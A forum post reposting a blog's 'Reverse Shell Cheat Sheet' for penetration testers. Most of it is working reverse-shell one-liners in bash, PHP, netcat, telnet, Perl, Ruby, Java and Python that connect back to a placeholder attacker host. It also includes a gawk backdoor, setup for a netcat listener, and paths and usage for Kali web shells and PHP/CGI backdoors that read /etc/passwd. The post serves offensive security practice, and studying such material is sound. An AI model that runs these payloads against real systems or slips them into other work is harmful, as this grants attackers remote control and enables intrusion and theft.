PC & IT SUPPORT MADE EASY FORUM
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Reverse Shell Cheat Sheet

Go down

 Reverse Shell Cheat Sheet Empty Reverse Shell Cheat Sheet

Post by jamied_uk 5th August 2017, 20:16

Reverse Shell Cheat Sheet 

cheat-sheet
29 Mar 2015  Reverse Shell Cheat Sheet Arr0way Arr0way



https://highon.coffee/blog/reverse-shell-cheat-sheet/

During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.
Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.
Set your Netcat listening shell on an allowed port
Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443
To setup a listening netcat instance, enter the following:

Code:
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

NAT requires a port forward
If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.
ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells


Code:
exec /bin/bash 0&0 2>&0

Code:
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196

Code:
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done 

# or:

while read line 0<&5; do $line 2>&5 >&5; done

Code:
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell


Code:
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Netcat Reverse Shell


Code:
nc -e /bin/sh ATTACKING-IP 80

Code:
/bin/sh | nc ATTACKING-IP 80

Code:
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell


Code:
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

Code:
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell


Code:
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell


Code:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Code:
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell


Code:
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell


Code:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Python Reverse Shell


Code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell


Code:
#!/usr/bin/gawk -f

BEGIN {
        Port    =      8080
        Prompt  =      "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Kali Web Shells

The following shells exist within Kali Linux, under
Code:
/usr/share/webshells/
these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/php/
php-reverse-shell.php
Pen Test Monkey - PHP Reverse Shell
Code:
/usr/share/webshells/
php/php-findsock-shell.php
Code:
/usr/share/webshells/
php/findsock.c
Pen Test Monkey, Findsock Shell. Build
Code:
gcc -o findsock findsock.c
(be mindfull of the target servers architecture), execute with netcat not a browser
Code:
nc -v target 80
Code:
/usr/share/webshells/
php/simple-backdoor.php
PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage:
Code:
http://target.com/simple-
backdoor.php?cmd=cat+/etc/passwd
Code:
/usr/share/webshells/
php/php-backdoor.php
Larger PHP shell, with a text input box for command execution.
Tip: Executing Reverse Shells
The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/perl/
perl-reverse-shell.pl
Pen Test Monkey - Perl Reverse Shell
Code:
/usr/share/webshells/
perl/perlcmd.cgi
Pen Test Monkey, Perl Shell. Usage:
Code:
http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/cfm/cfexec.cfm
Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/asp/
Kali ASP Shells

Kali ASPX Shells

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/aspx/
Kali ASPX Shells

Kali JSP Reverse Shell

[th]Command[/th][th]Description[/th]
Code:
/usr/share/webshells/jsp/jsp-reverse.jsp
Kali JSP Reverse Shell

Share this on...

[url=https://twitter.com/intent/tweet?text=Reverse Shell Cheat sheet&url=https://highon.coffee/blog/reverse-shell-cheat-sheet/&via=Arr0way&related=Arr0way]Twitter[/url] Facebook Google+ [url=https://www.reddit.com/submit?url=https://highon.coffee/blog/reverse-shell-cheat-sheet/&title=Reverse Shell Cheat Sheet] Reddit[/url]


Follow Arr0way

Twitter GitHub


Also...

You might want to read these


[th]Category[/th][th]Post Name[/th]
Code:
cheat-sheet
Penetration Testing Tools Cheat Sheet
Code:
cheat-sheet
LFI Cheat Sheet
Code:
kali linux
HowTo: Kali Linux Chromium Install for Web App Pen Testing
Code:
walkthroughs
InsomniHack CTF Teaser - Smartcat2 Writeup
Code:
walkthroughs
InsomniHack CTF Teaser - Smartcat1 Writeup
Code:
walkthroughs
FristiLeaks 1.3 Walkthrough
Code:
walkthroughs
SickOS 1.1 - Walkthrough
Code:
walkthroughs
The Wall Boot2Root Walkthrough
Code:
walkthroughs
/dev/random: Sleepy Walkthrough CTF
Code:
walkthroughs
/dev/random Pipe walkthrough




Cheat Sheets




WalkThroughs




Techniques




Security Hardening




/dev/urandom




Other Blog





The contents of this website are © 2017 HighOn.Coffee
Proudly hosted by  Reverse Shell Cheat Sheet Footer-logo
jamied_uk
jamied_uk
Admin

Posts : 3020
Join date : 2010-05-09
Age : 41
Location : UK

https://jnet.sytes.net

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum